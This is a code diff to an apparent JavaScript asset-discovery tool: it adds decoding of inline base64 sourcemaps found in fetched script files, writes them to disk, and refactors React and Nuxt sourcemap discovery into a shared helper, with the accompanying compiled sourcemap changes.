,iBAAiB,CAAC,SAAS,CAAC,EAAE,CAAC;gBAC3E,CAAC;YACL,CAAC;YACD,OAAO,EAAE,OAAO,EAAE,KAAK,EAAE,cAAc,EAAE,KAAK,EAAE,CAAC;QACrD,CAAC,CAAA,CAAC;QAEF;;;;4EAIoE;QACpE,MAAM,oBAAoB,GAAG,GAAwB,EAAE;YACnD,IAAI,uBAAuB,IAAI,CAAC;gBAAE,OAAO,EAAE,CAAC;YAC5C,MAAM,QAAQ,GAAG,CAAC,GAAG,cAAc,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,0BAA0B,CAAC,QAAQ,CAAC,CAAU,CAAC,CAAC,CAAC;YACrG,IAAI,QAAQ,CAAC,MAAM,KAAK,CAAC;gBAAE,OAAO,EAAE,CAAC;YACrC,OAAO,qBAAqB,CAAC,QAAQ,EAAE,QAAQ,CAAC,KAAK,CAAC,CAAC,EAAE,uBAAuB,CAAC,CAAC,CAAC,KAAK,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,CAAC;QACpG,CAAC,CAAC;QAEF,oFAAoF;QACpF,sFAAsF;QACtF,8EAA8E;QAC9E,IAAI,UAAU,GAAG,MAAM,WAAW,CAAC,gBAAgB,EAAE,MAAM,CAAC,CAAC;QAC7D,IAAI,CAAC,UAAU,CAAC,OAAO,IAAI,CAAC,UAAU,CAAC,cAAc,EAAE,CAAC;YACpD,MAAM,WAAW,GAAG,MAAM,WAAW,CAAC,oBAAoB,EAAE,EAAE,MAAM,CAAC,CAAC;YACtE,IAAI,WAAW,CAAC,OAAO;gBAAE,UAAU,GAAG,WAAW,CAAC;QACtD,CAAC;QACD,IAAI,UAAU,CAAC,OAAO;YAAE,OAAO;QAE/B,MAAM,cAAc,GAAG,MAAM,WAAW,CAAC,gBAAgB,EAAE,eAAe,CAAC,CAAC;QAC5E,IAAI,CAAC,cAAc,CAAC,OAAO,IAAI,CAAC,cAAc,CAAC,cAAc,EAAE,CAAC;YAC5D,MAAM,WAAW,CAAC,oBAAoB,EAAE,EAAE,eAAe,CAAC,CAAC;QAC/D,CAAC;IACL,CAAC,CAAA,CAAC,CAAC;IAEH,OAAO;QACH,YAAY,EAAE,CAAC,GAAG,IAAI,GAAG,CAAC,YAAY,CAAC,CAAC;QACxC,wBAAwB,EAAE,CAAC,GAAG,IAAI,GAAG,CAAC,wBAAwB,CAAC,CAAC;QAChE,qBAAqB,EAAE,CAAC,GAAG,IAAI,GAAG,CAAC,qBAAqB,CAAC,CAAC;QAC1D,SAAS,EAAE,CAAC,GAAG,IAAI,GAAG,CAAC,SAAS,CAAC,CAAC;KACrC,CAAC;AACN,CAAC,CAAA,CAAC;AAEF,eAAe,qBAAqB,CAAC"}
|
|
@@ -13,12 +13,14 @@ import makeRequest from "../../utility/makeReq.js";
|
|
|
13
13
|
import { getJsUrls, pushToJsUrls } from "../globals.js";
|
|
14
14
|
import resolvePath from "../../utility/resolvePath.js";
|
|
15
15
|
import { runWithConcurrency } from "../../utility/concurrency.js";
|
|
16
|
+
import { decodeInlineSourceMapDataUri, writeInlineSourceMap } from "../sourcemap.js";
|
|
16
17
|
// for parsing
|
|
17
18
|
import parser from "@babel/parser";
|
|
18
19
|
import _traverse from "@babel/traverse";
|
|
19
20
|
const traverse = ((_a = _traverse.default) !== null && _a !== void 0 ? _a : _traverse);
|
|
20
21
|
const analyzedFiles = [];
|
|
21
22
|
let filesFound = [];
|
|
23
|
+
let mapFilesFound = [];
|
|
22
24
|
/**
|
|
23
25
|
* Parses the content of a JavaScript file and returns an object containing
|
|
24
26
|
* all the strings that end with ".js".
|
|
@@ -58,9 +60,10 @@ export const parseJSFileContent = (content) => __awaiter(void 0, void 0, void 0,
|
|
|
58
60
|
/**
|
|
59
61
|
* Analyzes strings in the files found and returns an array of absolute URLs pointing to JavaScript files found in the page.
|
|
60
62
|
* @param {string} url - The URL of the webpage to fetch and parse.
|
|
61
|
-
* @returns {Promise<string[]>} -
|
|
63
|
+
* @returns {Promise<{jsFiles: string[], mapFiles: string[]}>} - JS files found via string analysis,
|
|
64
|
+
* and any real (non-inline) sourcemap URLs found alongside them.
|
|
62
65
|
*/
|
|
63
|
-
const nuxt_stringAnalysisJSFiles = (url_1, ...args_1) => __awaiter(void 0, [url_1, ...args_1], void 0, function* (url, threads = 1) {
|
|
66
|
+
const nuxt_stringAnalysisJSFiles = (url_1, ...args_1) => __awaiter(void 0, [url_1, ...args_1], void 0, function* (url, threads = 1, output = "") {
|
|
64
67
|
console.log(chalk.cyan("[i] Analyzing strings in the files found"));
|
|
65
68
|
while (true) {
|
|
66
69
|
// get all the JS URLs
|
|
@@ -87,6 +90,23 @@ const nuxt_stringAnalysisJSFiles = (url_1, ...args_1) => __awaiter(void 0, [url_
|
|
|
87
90
|
const response = yield makeRequest(js_url, {});
|
|
88
91
|
const respText = yield response.text();
|
|
89
92
|
const foundJsFiles = yield parseJSFileContent(respText);
|
|
93
|
+
// check for sourcemap reference
|
|
94
|
+
const sourcemapMatch = respText.match(/\/\/# sourceMappingURL=(.+)$/m);
|
|
95
|
+
if (sourcemapMatch) {
|
|
96
|
+
const rawRef = sourcemapMatch[1].trim();
|
|
97
|
+
if (rawRef.startsWith("data:")) {
|
|
98
|
+
const decoded = decodeInlineSourceMapDataUri(rawRef);
|
|
99
|
+
if (decoded) {
|
|
100
|
+
writeInlineSourceMap(output, js_url, decoded);
|
|
101
|
+
}
|
|
102
|
+
}
|
|
103
|
+
else {
|
|
104
|
+
const mapUrl = new URL(rawRef, js_url).href;
|
|
105
|
+
if (!mapFilesFound.includes(mapUrl)) {
|
|
106
|
+
mapFilesFound.push(mapUrl);
|
|
107
|
+
}
|
|
108
|
+
}
|
|
109
|
+
}
|
|
90
110
|
// iterate through the foundJsFiles and resolve the paths
|
|
91
111
|
for (const [key, value] of Object.entries(foundJsFiles)) {
|
|
92
112
|
const resolvedPath = yield resolvePath(js_url, value);
|
|
@@ -101,8 +121,12 @@ const nuxt_stringAnalysisJSFiles = (url_1, ...args_1) => __awaiter(void 0, [url_
|
|
|
101
121
|
}
|
|
102
122
|
// dedupe the files
|
|
103
123
|
filesFound = [...new Set(filesFound)];
|
|
124
|
+
mapFilesFound = [...new Set(mapFilesFound)];
|
|
104
125
|
console.log(chalk.green(`[✓] Found ${filesFound.length} JS files from string analysis`));
|
|
105
|
-
|
|
126
|
+
if (mapFilesFound.length > 0) {
|
|
127
|
+
console.log(chalk.green(`[✓] Found ${mapFilesFound.length} sourcemap(s) from JS files`));
|
|
128
|
+
}
|
|
129
|
+
return { jsFiles: filesFound, mapFiles: mapFilesFound };
|
|
106
130
|
});
|
|
107
131
|
export default nuxt_stringAnalysisJSFiles;
|
|
108
132
|
//# sourceMappingURL=nuxt_stringAnalysisJSFiles.js.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"nuxt_stringAnalysisJSFiles.js","sourceRoot":"","sources":["../../../src/lazyLoad/nuxt_js/nuxt_stringAnalysisJSFiles.ts"],"names":[],"mappings":";;;;;;;;;;AAAA,OAAO,KAAK,MAAM,OAAO,CAAC;AAC1B,OAAO,WAAW,MAAM,0BAA0B,CAAC;AACnD,OAAO,EAAE,SAAS,EAAE,YAAY,EAAE,MAAM,eAAe,CAAC;AACxD,OAAO,WAAW,MAAM,8BAA8B,CAAC;AAEvD,OAAO,EAAE,kBAAkB,EAAE,MAAM,8BAA8B,CAAC;
|
|
1
|
+
{"version":3,"file":"nuxt_stringAnalysisJSFiles.js","sourceRoot":"","sources":["../../../src/lazyLoad/nuxt_js/nuxt_stringAnalysisJSFiles.ts"],"names":[],"mappings":"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"}
|
|
@@ -7,33 +7,12 @@ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, ge
|
|
|
7
7
|
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
8
8
|
});
|
|
9
9
|
};
|
|
10
|
-
import
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
try {
|
|
18
|
-
const res = yield makeRequest(jsUrl, { reportErrors: false });
|
|
19
|
-
if (!res)
|
|
20
|
-
return;
|
|
21
|
-
const body = yield res.text();
|
|
22
|
-
const match = body.match(/\/\/# sourceMappingURL=(.+)$/m);
|
|
23
|
-
if (match) {
|
|
24
|
-
const rawRef = match[1].trim();
|
|
25
|
-
const mapUrl = new URL(rawRef, jsUrl).href;
|
|
26
|
-
mapUrls.push(mapUrl);
|
|
27
|
-
}
|
|
28
|
-
}
|
|
29
|
-
catch (_) {
|
|
30
|
-
// skip files that fail to fetch
|
|
31
|
-
}
|
|
32
|
-
}));
|
|
33
|
-
if (mapUrls.length > 0) {
|
|
34
|
-
progressLog(chalk.green(`[✓] Found ${mapUrls.length} sourcemaps from ${jsFiles.length} JS files`));
|
|
35
|
-
}
|
|
36
|
-
return mapUrls;
|
|
37
|
-
});
|
|
10
|
+
import { discoverSourcemapUrls } from "../sourcemap.js";
|
|
11
|
+
/**
|
|
12
|
+
* React sourcemap discovery. Thin named wrapper over the shared `discoverSourcemapUrls`
|
|
13
|
+
* helper — kept as its own file/export so `--include-methods`/`--exclude-methods`/
|
|
14
|
+
* `--list-methods` continue to see a `react_sourcemapUrls` method name.
|
|
15
|
+
*/
|
|
16
|
+
const react_sourcemapUrls = (jsFiles_1, ...args_1) => __awaiter(void 0, [jsFiles_1, ...args_1], void 0, function* (jsFiles, threads = 1, output = "") { return discoverSourcemapUrls(jsFiles, threads, output); });
|
|
38
17
|
export default react_sourcemapUrls;
|
|
39
18
|
//# sourceMappingURL=react_sourcemapUrls.js.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"react_sourcemapUrls.js","sourceRoot":"","sources":["../../../src/lazyLoad/react/react_sourcemapUrls.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,
|
|
1
|
+
{"version":3,"file":"react_sourcemapUrls.js","sourceRoot":"","sources":["../../../src/lazyLoad/react/react_sourcemapUrls.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,EAAE,qBAAqB,EAAE,MAAM,iBAAiB,CAAC;AAExD;;;;GAIG;AACH,MAAM,mBAAmB,GAAG,uBAAuF,EAAE,8DAAlF,OAAiB,EAAE,UAAkB,CAAC,EAAE,SAAiB,EAAE,IAC1F,OAAA,qBAAqB,CAAC,OAAO,EAAE,OAAO,EAAE,MAAM,CAAC,CAAA,GAAA,CAAC;AAEpD,eAAe,mBAAmB,CAAC"}
|
|
@@ -3,6 +3,22 @@
|
|
|
3
3
|
*
|
|
4
4
|
* Extracts original source code from minified JavaScript using source maps.
|
|
5
5
|
*/
|
|
6
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
7
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
8
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
9
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
10
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
11
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
12
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
13
|
+
});
|
|
14
|
+
};
|
|
15
|
+
import fs from "fs";
|
|
16
|
+
import path from "path";
|
|
17
|
+
import chalk from "chalk";
|
|
18
|
+
import makeRequest from "../utility/makeReq.js";
|
|
19
|
+
import { runWithConcurrency } from "../utility/concurrency.js";
|
|
20
|
+
import { progressLog } from "../utility/progressLog.js";
|
|
21
|
+
import { getSanitizedAssetFilename, resolveAssetOutputDirectory } from "./outputPath.js";
|
|
6
22
|
/**
|
|
7
23
|
* Extract original source files from a source map.
|
|
8
24
|
*
|
|
@@ -183,6 +199,110 @@ function joinPaths(base, path) {
|
|
|
183
199
|
const pathClean = path.startsWith("/") ? path.slice(1) : path;
|
|
184
200
|
return `${baseClean}/${pathClean}`;
|
|
185
201
|
}
|
|
202
|
+
/**
|
|
203
|
+
* Decode an inline `data:` URI sourceMappingURL reference into raw source-map JSON text.
|
|
204
|
+
*
|
|
205
|
+
* Handles both base64-encoded (`data:application/json;base64,<...>`, with or without a
|
|
206
|
+
* `charset` parameter) and percent-encoded (`data:application/json,<...>`) payloads.
|
|
207
|
+
* Verifies the decoded content actually looks like a source map (has a `sources` array)
|
|
208
|
+
* before returning it, so an unrelated `data:` URI that happens to be valid JSON doesn't
|
|
209
|
+
* get treated as a sourcemap.
|
|
210
|
+
*
|
|
211
|
+
* @param rawRef - The raw string following `sourceMappingURL=`
|
|
212
|
+
* @returns The decoded JSON text, or null if `rawRef` isn't a decodable inline source map
|
|
213
|
+
*/
|
|
214
|
+
export function decodeInlineSourceMapDataUri(rawRef) {
|
|
215
|
+
if (!rawRef.startsWith("data:"))
|
|
216
|
+
return null;
|
|
217
|
+
const commaIndex = rawRef.indexOf(",");
|
|
218
|
+
if (commaIndex === -1)
|
|
219
|
+
return null;
|
|
220
|
+
const meta = rawRef.slice(5, commaIndex);
|
|
221
|
+
const payload = rawRef.slice(commaIndex + 1);
|
|
222
|
+
const isBase64 = meta.split(";").includes("base64");
|
|
223
|
+
try {
|
|
224
|
+
const decoded = isBase64 ? Buffer.from(payload, "base64").toString("utf-8") : decodeURIComponent(payload);
|
|
225
|
+
const parsed = JSON.parse(decoded);
|
|
226
|
+
if (typeof parsed !== "object" || parsed === null || !Array.isArray(parsed.sources))
|
|
227
|
+
return null;
|
|
228
|
+
return decoded;
|
|
229
|
+
}
|
|
230
|
+
catch (_a) {
|
|
231
|
+
return null;
|
|
232
|
+
}
|
|
233
|
+
}
|
|
234
|
+
/**
|
|
235
|
+
* Write a decoded inline source map to disk at the same location a real downloaded
|
|
236
|
+
* `.map` file for this JS URL would land at, so the existing `extractSourceMaps` disk
|
|
237
|
+
* scan (which matches by `.map` extension, not by naming convention) picks it up.
|
|
238
|
+
*
|
|
239
|
+
* Best-effort: swallows all errors, per this directory's "sourcemap fetch is best-effort"
|
|
240
|
+
* convention. Never throws.
|
|
241
|
+
*/
|
|
242
|
+
export function writeInlineSourceMap(output, jsUrl, mapContent) {
|
|
243
|
+
try {
|
|
244
|
+
const filename = getSanitizedAssetFilename(jsUrl);
|
|
245
|
+
if (!filename)
|
|
246
|
+
return;
|
|
247
|
+
const dir = resolveAssetOutputDirectory(output, jsUrl);
|
|
248
|
+
fs.mkdirSync(dir, { recursive: true });
|
|
249
|
+
fs.writeFileSync(path.join(dir, `${filename}.map`), mapContent);
|
|
250
|
+
}
|
|
251
|
+
catch (_a) {
|
|
252
|
+
// best-effort; never fatal
|
|
253
|
+
}
|
|
254
|
+
}
|
|
255
|
+
/**
|
|
256
|
+
* Discover sourcemaps referenced by a list of JS files.
|
|
257
|
+
*
|
|
258
|
+
* For each file, fetches its content and looks for a `//# sourceMappingURL=...` comment.
|
|
259
|
+
* Inline `data:` URI references are decoded and written directly to `output` (no HTTP
|
|
260
|
+
* fetch needed). Real relative/absolute references are resolved to absolute URLs and
|
|
261
|
+
* returned so the caller can enqueue them for download, same as before.
|
|
262
|
+
*
|
|
263
|
+
* @param jsFiles - JS file URLs to scan
|
|
264
|
+
* @param threads - concurrency for the fetch loop
|
|
265
|
+
* @param output - output directory inline maps are written under
|
|
266
|
+
* @returns Absolute URLs of real (non-inline) sourcemaps found
|
|
267
|
+
*/
|
|
268
|
+
export function discoverSourcemapUrls(jsFiles_1) {
|
|
269
|
+
return __awaiter(this, arguments, void 0, function* (jsFiles, threads = 1, output = "") {
|
|
270
|
+
const mapUrls = [];
|
|
271
|
+
let inlineCount = 0;
|
|
272
|
+
yield runWithConcurrency(jsFiles, threads, (jsUrl) => __awaiter(this, void 0, void 0, function* () {
|
|
273
|
+
try {
|
|
274
|
+
const res = yield makeRequest(jsUrl, { reportErrors: false });
|
|
275
|
+
if (!res)
|
|
276
|
+
return;
|
|
277
|
+
const body = yield res.text();
|
|
278
|
+
const match = body.match(/\/\/# sourceMappingURL=(.+)$/m);
|
|
279
|
+
if (!match)
|
|
280
|
+
return;
|
|
281
|
+
const rawRef = match[1].trim();
|
|
282
|
+
if (rawRef.startsWith("data:")) {
|
|
283
|
+
const decoded = decodeInlineSourceMapDataUri(rawRef);
|
|
284
|
+
if (decoded) {
|
|
285
|
+
writeInlineSourceMap(output, jsUrl, decoded);
|
|
286
|
+
inlineCount++;
|
|
287
|
+
}
|
|
288
|
+
return;
|
|
289
|
+
}
|
|
290
|
+
const mapUrl = new URL(rawRef, jsUrl).href;
|
|
291
|
+
mapUrls.push(mapUrl);
|
|
292
|
+
}
|
|
293
|
+
catch (_) {
|
|
294
|
+
// skip files that fail to fetch
|
|
295
|
+
}
|
|
296
|
+
}));
|
|
297
|
+
if (mapUrls.length > 0) {
|
|
298
|
+
progressLog(chalk.green(`[✓] Found ${mapUrls.length} sourcemaps from ${jsFiles.length} JS files`));
|
|
299
|
+
}
|
|
300
|
+
if (inlineCount > 0) {
|
|
301
|
+
progressLog(chalk.green(`[✓] Decoded ${inlineCount} inline (base64) sourcemap(s)`));
|
|
302
|
+
}
|
|
303
|
+
return mapUrls;
|
|
304
|
+
});
|
|
305
|
+
}
|
|
186
306
|
// Default export for convenience
|
|
187
307
|
export default { extractSources, extractSource, listSources, hasSourceContent };
|
|
188
308
|
//# sourceMappingURL=sourcemap.js.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"sourcemap.js","sourceRoot":"","sources":["../../src/lazyLoad/sourcemap.ts"],"names":[],"mappings":"AAAA;;;;GAIG;
|
|
1
|
+
{"version":3,"file":"sourcemap.js","sourceRoot":"","sources":["../../src/lazyLoad/sourcemap.ts"],"names":[],"mappings":"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